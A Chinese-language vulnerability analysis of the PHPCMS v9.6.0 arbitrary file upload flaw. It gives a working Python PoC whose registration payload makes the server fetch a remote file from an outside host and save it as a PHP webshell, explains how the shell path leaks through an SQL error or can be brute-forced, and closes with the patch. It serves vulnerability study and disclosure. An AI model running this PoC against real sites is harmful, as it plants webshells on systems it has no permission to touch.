PHPCMS v9.6.0 任意文件上传漏洞分析
Author: p0wd3r (知道创宇404安全实验室)
Date: 2017-04-12
0x00 漏洞概述
漏洞简介
前几天 phpcms v9.6 的任意文件上传的漏洞引起了安全圈热议,通过该漏洞攻击者可以在未授权的情况下任意文件上传,影响不容小觑。phpcms官方今天发布了9.6.1版本,对漏洞进行了补丁修复.
漏洞影响
任意文件上传
0x01 漏洞复现
本文从 PoC 的角度出发,逆向的还原漏洞过程,若有哪些错误的地方,还望大家多多指教。
首先我们看简化的 PoC :
1 |
<ol class="linenums"><li class="L0"><code class="lang-python"><span class="kwd">import</span><span class="pln"> re</span></code></li><li class="L1"><code class="lang-python"><span class="kwd">import</span><span class="pln"> requests</span></code></li><li class="L2"><code class="lang-python"></code></li><li class="L3"><code class="lang-python"></code></li><li class="L4"><code class="lang-python"><span class="kwd">def</span><span class="pln"> poc</span><span class="pun">(</span><span class="pln">url</span><span class="pun">):</span></code></li><li class="L5"><code class="lang-python"><span class="pln"> u </span><span class="pun">=</span><span class="pln"> </span><span class="str">'{}/index.php?m=member&c=index&a=register&siteid=1'</span><span class="pun">.</span><span class="pln">format</span><span class="pun">(</span><span class="pln">url</span><span class="pun">)</span></code></li><li class="L6"><code class="lang-python"><span class="pln"> data </span><span class="pun">=</span><span class="pln"> </span><span class="pun">{</span></code></li><li class="L7"><code class="lang-python"><span class="pln"> </span><span class="str">'siteid'</span><span class="pun">:</span><span class="pln"> </span><span class="str">'1'</span><span class="pun">,</span></code></li><li class="L8"><code class="lang-python"><span class="pln"> </span><span class="str">'modelid'</span><span class="pun">:</span><span class="pln"> </span><span class="str">'1'</span><span class="pun">,</span></code></li><li class="L9"><code class="lang-python"><span class="pln"> </span><span class="str">'username'</span><span class="pun">:</span><span class="pln"> </span><span class="str">'test'</span><span class="pun">,</span></code></li><li class="L0"><code class="lang-python"><span class="pln"> </span><span class="str">'password'</span><span class="pun">:</span><span class="pln"> </span><span class="str">'testxx'</span><span class="pun">,</span></code></li><li class="L1"><code class="lang-python"><span class="pln"> </span><span class="str">'email'</span><span class="pun">:</span><span class="pln"> </span><span class="str">'test@test.com'</span><span class="pun">,</span></code></li><li class="L2"><code class="lang-python"><span class="pln"> </span><span class="str">'info[content]'</span><span class="pun">:</span><span class="pln"> </span><span class="str">'<img src=http://url/shell.txt?.php#.jpg>'</span><span class="pun">,</span></code></li><li class="L3"><code class="lang-python"><span class="pln"> </span><span class="str">'dosubmit'</span><span class="pun">:</span><span class="pln"> </span><span class="str">'1'</span><span class="pun">,</span></code></li><li class="L4"><code class="lang-python"><span class="pln"> </span><span class="pun">}</span></code></li><li class="L5"><code class="lang-python"><span class="pln"> rep </span><span class="pun">=</span><span class="pln"> requests</span><span class="pun">.</span><span class="pln">post</span><span class="pun">(</span><span class="pln">u</span><span class="pun">,</span><span class="pln"> data</span><span class="pun">=</span><span class="pln">data</span><span class="pun">)</span></code></li><li class="L6"><code class="lang-python"></code></li><li class="L7"><code class="lang-python"><span class="pln"> shell </span><span class="pun">=</span><span class="pln"> </span><span class="str">''</span></code></li><li class="L8"><code class="lang-python"><span class="pln"> re_result </span><span class="pun">=</span><span class="pln"> re</span><span class="pun">.</span><span class="pln">findall</span><span class="pun">(</span><span class="pln">r</span><span class="str">'&lt;img src=(.*)&gt'</span><span class="pun">,</span><span class="pln"> rep</span><span class="pun">.</span><span class="pln">content</span><span class="pun">)</span></code></li><li class="L9"><code class="lang-python"><span class="pln"> </span><span class="kwd">if</span><span class="pln"> len</span><span class="pun">(</span><span class="pln">re_result</span><span class="pun">):</span></code></li><li class="L0"><code class="lang-python"><span class="pln"> shell </span><span class="pun">=</span><span class="pln"> re_result</span><span class="pun">[</span><span class="lit">0</span><span class="pun">]</span></code></li><li class="L1"><code class="lang-python"><span class="pln"> </span><span class="kwd">print</span><span class="pln"> shell</span></code></li></ol> |
可以看到 PoC 是发起注册请求,对应的是phpcms/modules/member/index.php
中的register
函数,所以我们在那里下断点,接着使用 PoC 并开启动态调试,在获取一些信息之后,函数走到了如下位置:
通过 PoC 不难看出我们的 payload 在$_POST['info']
里,而这里对$_POST['info']
进行了处理,所以我们有必要跟进。
在使用new_html_special_chars
对<>
进行编码之后,进入$member_input->get
函数,该函数位于caches/caches_model/caches_data/member_input.class.php
中,接下来函数走到如下位置:
由于我们的 payload 是info[content]
,所以调用的是editor
函数,同样在这个文件中:
接下来函数执行$this->attachment->download
函数进行下载,我们继续跟进,在phpcms/libs/classes/attachment.class.php
中:
1 |
<ol class="linenums"><li class="L0"><code class="lang-php"><span class="kwd">function</span><span class="pln"> download</span><span class="pun">(</span><span class="pln">$field</span><span class="pun">,</span><span class="pln"> $value</span><span class="pun">,</span><span class="pln">$watermark </span><span class="pun">=</span><span class="pln"> </span><span class="str">'0'</span><span class="pun">,</span><span class="pln">$ext </span><span class="pun">=</span><span class="pln"> </span><span class="str">'gif|jpg|jpeg|bmp|png'</span><span class="pun">,</span><span class="pln"> $absurl </span><span class="pun">=</span><span class="pln"> </span><span class="str">''</span><span class="pun">,</span><span class="pln"> $basehref </span><span class="pun">=</span><span class="pln"> </span><span class="str">''</span><span class="pun">)</span></code></li><li class="L1"><code class="lang-php"><span class="pun">{</span></code></li><li class="L2"><code class="lang-php"><span class="pln"> </span><span class="kwd">global</span><span class="pln"> $image_d</span><span class="pun">;</span></code></li><li class="L3"><code class="lang-php"><span class="pln"> $this</span><span class="pun">-></span><span class="pln">att_db </span><span class="pun">=</span><span class="pln"> pc_base</span><span class="pun">::</span><span class="pln">load_model</span><span class="pun">(</span><span class="str">'attachment_model'</span><span class="pun">);</span></code></li><li class="L4"><code class="lang-php"><span class="pln"> $upload_url </span><span class="pun">=</span><span class="pln"> pc_base</span><span class="pun">::</span><span class="pln">load_config</span><span class="pun">(</span><span class="str">'system'</span><span class="pun">,</span><span class="str">'upload_url'</span><span class="pun">);</span></code></li><li class="L5"><code class="lang-php"><span class="pln"> $this</span><span class="pun">-></span><span class="pln">field </span><span class="pun">=</span><span class="pln"> $field</span><span class="pun">;</span></code></li><li class="L6"><code class="lang-php"><span class="pln"> $dir </span><span class="pun">=</span><span class="pln"> date</span><span class="pun">(</span><span class="str">'Y/md/'</span><span class="pun">);</span></code></li><li class="L7"><code class="lang-php"><span class="pln"> $uploadpath </span><span class="pun">=</span><span class="pln"> $upload_url</span><span class="pun">.</span><span class="pln">$dir</span><span class="pun">;</span></code></li><li class="L8"><code class="lang-php"><span class="pln"> $uploaddir </span><span class="pun">=</span><span class="pln"> $this</span><span class="pun">-></span><span class="pln">upload_root</span><span class="pun">.</span><span class="pln">$dir</span><span class="pun">;</span></code></li><li class="L9"><code class="lang-php"><span class="pln"> $string </span><span class="pun">=</span><span class="pln"> new_stripslashes</span><span class="pun">(</span><span class="pln">$value</span><span class="pun">);</span></code></li><li class="L0"><code class="lang-php"><span class="pln"> </span><span class="kwd">if</span><span class="pun">(!</span><span class="pln">preg_match_all</span><span class="pun">(</span><span class="str">"/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i"</span><span class="pun">,</span><span class="pln"> $string</span><span class="pun">,</span><span class="pln"> $matches</span><span class="pun">))</span><span class="pln"> </span><span class="kwd">return</span><span class="pln"> $value</span><span class="pun">;</span></code></li><li class="L1"><code class="lang-php"><span class="pln"> $remotefileurls </span><span class="pun">=</span><span class="pln"> array</span><span class="pun">();</span></code></li><li class="L2"><code class="lang-php"><span class="pln"> </span><span class="kwd">foreach</span><span class="pun">(</span><span class="pln">$matches</span><span class="pun">[</span><span class="lit">3</span><span class="pun">]</span><span class="pln"> </span><span class="kwd">as</span><span class="pln"> $matche</span><span class="pun">)</span></code></li><li class="L3"><code class="lang-php"><span class="pln"> </span><span class="pun">{</span></code></li><li class="L4"><code class="lang-php"><span class="pln"> </span><span class="kwd">if</span><span class="pun">(</span><span class="pln">strpos</span><span class="pun">(</span><span class="pln">$matche</span><span class="pun">,</span><span class="pln"> </span><span class="str">'://'</span><span class="pun">)</span><span class="pln"> </span><span class="pun">===</span><span class="pln"> </span><span class="kwd">false</span><span class="pun">)</span><span class="pln"> </span><span class="kwd">continue</span><span class="pun">;</span></code></li><li class="L5"><code class="lang-php"><span class="pln"> dir_create</span><span class="pun">(</span><span class="pln">$uploaddir</span><span class="pun">);</span></code></li><li class="L6"><code class="lang-php"><span class="pln"> $remotefileurls</span><span class="pun">[</span><span class="pln">$matche</span><span class="pun">]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> $this</span><span class="pun">-></span><span class="pln">fillurl</span><span class="pun">(</span><span class="pln">$matche</span><span class="pun">,</span><span class="pln"> $absurl</span><span class="pun">,</span><span class="pln"> $basehref</span><span class="pun">);</span></code></li><li class="L7"><code class="lang-php"><span class="pln"> </span><span class="pun">}</span></code></li><li class="L8"><code class="lang-php"><span class="pln"> unset</span><span class="pun">(</span><span class="pln">$matches</span><span class="pun">,</span><span class="pln"> $string</span><span class="pun">);</span></code></li><li class="L9"><code class="lang-php"><span class="pln"> $remotefileurls </span><span class="pun">=</span><span class="pln"> array_unique</span><span class="pun">(</span><span class="pln">$remotefileurls</span><span class="pun">);</span></code></li><li class="L0"><code class="lang-php"><span class="pln"> $oldpath </span><span class="pun">=</span><span class="pln"> $newpath </span><span class="pun">=</span><span class="pln"> array</span><span class="pun">();</span></code></li><li class="L1"><code class="lang-php"><span class="pln"> </span><span class="kwd">foreach</span><span class="pun">(</span><span class="pln">$remotefileurls </span><span class="kwd">as</span><span class="pln"> $k</span><span class="pun">=></span><span class="pln">$file</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></code></li><li class="L2"><code class="lang-php"><span class="pln"> </span><span class="kwd">if</span><span class="pun">(</span><span class="pln">strpos</span><span class="pun">(</span><span class="pln">$file</span><span class="pun">,</span><span class="pln"> </span><span class="str">'://'</span><span class="pun">)</span><span class="pln"> </span><span class="pun">===</span><span class="pln"> </span><span class="kwd">false</span><span class="pln"> </span><span class="pun">||</span><span class="pln"> strpos</span><span class="pun">(</span><span class="pln">$file</span><span class="pun">,</span><span class="pln"> $upload_url</span><span class="pun">)</span><span class="pln"> </span><span class="pun">!==</span><span class="pln"> </span><span class="kwd">false</span><span class="pun">)</span><span class="pln"> </span><span class="kwd">continue</span><span class="pun">;</span></code></li><li class="L3"><code class="lang-php"><span class="pln"> $filename </span><span class="pun">=</span><span class="pln"> fileext</span><span class="pun">(</span><span class="pln">$file</span><span class="pun">);</span></code></li><li class="L4"><code class="lang-php"><span class="pln"> $file_name </span><span class="pun">=</span><span class="pln"> basename</span><span class="pun">(</span><span class="pln">$file</span><span class="pun">);</span></code></li><li class="L5"><code class="lang-php"><span class="pln"> $filename </span><span class="pun">=</span><span class="pln"> $this</span><span class="pun">-></span><span class="pln">getname</span><span class="pun">(</span><span class="pln">$filename</span><span class="pun">);</span></code></li><li class="L6"><code class="lang-php"></code></li><li class="L7"><code class="lang-php"><span class="pln"> $newfile </span><span class="pun">=</span><span class="pln"> $uploaddir</span><span class="pun">.</span><span class="pln">$filename</span><span class="pun">;</span></code></li><li class="L8"><code class="lang-php"><span class="pln"> $upload_func </span><span class="pun">=</span><span class="pln"> $this</span><span class="pun">-></span><span class="pln">upload_func</span><span class="pun">;</span></code></li><li class="L9"><code class="lang-php"><span class="pln"> </span><span class="kwd">if</span><span class="pun">(</span><span class="pln">$upload_func</span><span class="pun">(</span><span class="pln">$file</span><span class="pun">,</span><span class="pln"> $newfile</span><span class="pun">))</span><span class="pln"> </span><span class="pun">{</span></code></li><li class="L0"><code class="lang-php"><span class="pln"> $oldpath</span><span class="pun">[]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> $k</span><span class="pun">;</span></code></li><li class="L1"><code class="lang-php"><span class="pln"> $GLOBALS</span><span class="pun">[</span><span class="str">'downloadfiles'</span><span class="pun">][]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> $newpath</span><span class="pun">[]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> $uploadpath</span><span class="pun">.</span><span class="pln">$filename</span><span class="pun">;</span></code></li><li class="L2"><code class="lang-php"><span class="pln"> </span><span class="lit">@chmod</span><span class="pun">(</span><span class="pln">$newfile</span><span class="pun">,</span><span class="pln"> </span><span class="lit">0777</span><span class="pun">);</span></code></li><li class="L3"><code class="lang-php"><span class="pln"> $fileext </span><span class="pun">=</span><span class="pln"> fileext</span><span class="pun">(</span><span class="pln">$filename</span><span class="pun">);</span></code></li><li class="L4"><code class="lang-php"><span class="pln"> </span><span class="kwd">if</span><span class="pun">(</span><span class="pln">$watermark</span><span class="pun">){</span></code></li><li class="L5"><code class="lang-php"><span class="pln"> watermark</span><span class="pun">(</span><span class="pln">$newfile</span><span class="pun">,</span><span class="pln"> $newfile</span><span class="pun">,</span><span class="pln">$this</span><span class="pun">-></span><span class="pln">siteid</span><span class="pun">);</span></code></li><li class="L6"><code class="lang-php"><span class="pln"> </span><span class="pun">}</span></code></li><li class="L7"><code class="lang-php"><span class="pln"> $filepath </span><span class="pun">=</span><span class="pln"> $dir</span><span class="pun">.</span><span class="pln">$filename</span><span class="pun">;</span></code></li><li class="L8"><code class="lang-php"><span class="pln"> $downloadedfile </span><span class="pun">=</span><span class="pln"> array</span><span class="pun">(</span><span class="str">'filename'</span><span class="pun">=></span><span class="pln">$filename</span><span class="pun">,</span><span class="pln"> </span><span class="str">'filepath'</span><span class="pun">=></span><span class="pln">$filepath</span><span class="pun">,</span><span class="pln"> </span><span class="str">'filesize'</span><span class="pun">=></span><span class="pln">filesize</span><span class="pun">(</span><span class="pln">$newfile</span><span class="pun">),</span><span class="pln"> </span><span class="str">'fileext'</span><span class="pun">=></span><span class="pln">$fileext</span><span class="pun">);</span></code></li><li class="L9"><code class="lang-php"><span class="pln"> $aid </span><span class="pun">=</span><span class="pln"> $this</span><span class="pun">-></span><span class="pln">add</span><span class="pun">(</span><span class="pln">$downloadedfile</span><span class="pun">);</span></code></li><li class="L0"><code class="lang-php"><span class="pln"> $this</span><span class="pun">-></span><span class="pln">downloadedfiles</span><span class="pun">[</span><span class="pln">$aid</span><span class="pun">]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> $filepath</span><span class="pun">;</span></code></li><li class="L1"><code class="lang-php"><span class="pln"> </span><span class="pun">}</span></code></li><li class="L2"><code class="lang-php"><span class="pln"> </span><span class="pun">}</span></code></li><li class="L3"><code class="lang-php"><span class="pln"> </span><span class="kwd">return</span><span class="pln"> str_replace</span><span class="pun">(</span><span class="pln">$oldpath</span><span class="pun">,</span><span class="pln"> $newpath</span><span class="pun">,</span><span class="pln"> $value</span><span class="pun">);</span></code></li><li class="L4"><code class="lang-php"><span class="pun">}</span></code></li></ol> |
函数中先对$value
中的引号进行了转义,然后使用正则匹配:
1 |
<ol class="linenums"><li class="L0"><code class="lang-php"><span class="pln">$ext </span><span class="pun">=</span><span class="pln"> </span><span class="str">'gif|jpg|jpeg|bmp|png'</span><span class="pun">;</span></code></li><li class="L1"><code class="lang-php"><span class="pun">...</span></code></li><li class="L2"><code class="lang-php"><span class="pln">$string </span><span class="pun">=</span><span class="pln"> new_stripslashes</span><span class="pun">(</span><span class="pln">$value</span><span class="pun">);</span></code></li><li class="L3"><code class="lang-php"><span class="kwd">if</span><span class="pun">(!</span><span class="pln">preg_match_all</span><span class="pun">(</span><span class="str">"/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i"</span><span class="pun">,</span><span class="pln">$string</span><span class="pun">,</span><span class="pln"> $matches</span><span class="pun">))</span><span class="pln"> </span><span class="kwd">return</span><span class="pln"> $value</span><span class="pun">;</span></code></li></ol> |
这里正则要求输入满足src/href=url.(gif|jpg|jpeg|bmp|png)
,我们的 payload (<img src=http://url/shell.txt?.php#.jpg>
)符合这一格式(这也就是为什么后面要加.jpg
的原因)。
接下来程序使用这行代码来去除 url 中的锚点:$remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);
,处理过后$remotefileurls
的内容如下:
可以看到#.jpg
被删除了,正因如此,下面的$filename = fileext($file);
取的的后缀变成了php
,这也就是 PoC 中为什么要加#
的原因:把前面为了满足正则而构造的.jpg
过滤掉,使程序获得我们真正想要的php
文件后缀。
我们继续执行:
程序调用copy
函数,对远程的文件进行了下载,此时我们从命令行中可以看到文件已经写入了:
shell 已经写入,下面我们就来看看如何获取 shell 的路径,程序在下载之后回到了register
函数中:
可以看到当$status > 0
时会执行 SQL 语句进行 INSERT 操作,具体执行的语句如下:
也就是向v9_member_detail
的content
和userid
两列插入数据,我们看一下该表的结构:
因为表中并没有content
列,所以产生报错,从而将插入数据中的 shell 路径返回给了我们:
上面我们说过返回路径是在$status > 0
时才可以,下面我们来看看什么时候$status <= 0
,在phpcms/modules/member/classes/client.class.php
中:
几个小于0的状态码都是因为用户名和邮箱,所以在 payload 中用户名和邮箱要尽量随机。
另外在 phpsso 没有配置好的时候$status
的值为空,也同样不能得到路径。
在无法得到路径的情况下我们只能爆破了,爆破可以根据文件名生成的方法来爆破:
仅仅是时间加上三位随机数,爆破起来还是相对容易些的。
0x02 补丁分析
phpcms 今天发布了9.6.1版本,针对该漏洞的具体补丁如下:
在获取文件扩展名后再对扩展名进行检测